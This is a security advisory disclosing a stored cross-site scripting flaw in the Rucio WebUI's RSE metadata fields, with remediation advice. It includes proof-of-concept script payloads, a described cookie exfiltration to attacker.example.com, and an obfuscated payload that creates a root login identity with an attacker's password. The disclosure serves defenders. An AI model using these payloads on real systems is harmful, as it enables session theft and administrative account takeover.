CVE-2026-25734: Rucio WebUI has Stored Cross-site Scripting (XSS) in RSE Metadata

Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

--- Details Several metadata fields accept arbitrary input which is stored and later rendered unsafely in the WebUI when the RSEs are listed in the RSE Management dashboard.

Create Path: Admin > RSE Management

Trigger Paths: Admin > RSE Management Admin > RSE Management > RSE NAME

Vulnerable Attributes: City, CountryName, ISP

Request http POST /proxy/rses/XSSTEST HTTP/1.1 ... {"city":"<script>alert('CITY XSS')</script>","countryname":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"stagingarea":false}

Response http HTTP/1.1 201 CREATED ... Created

Stored XSS payload triggering in RSE listing after adding XSS payload in metadata <img width="1252" height="624" alt="Stored XSS payload triggering in RSE listing after adding XSS payload in metadata" src="https://github.com/user-attachments/assets/6546fc95-0c81-4db7-9271-37b5d4bc8f47" />

--- Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

--- Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)

--- Resources - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html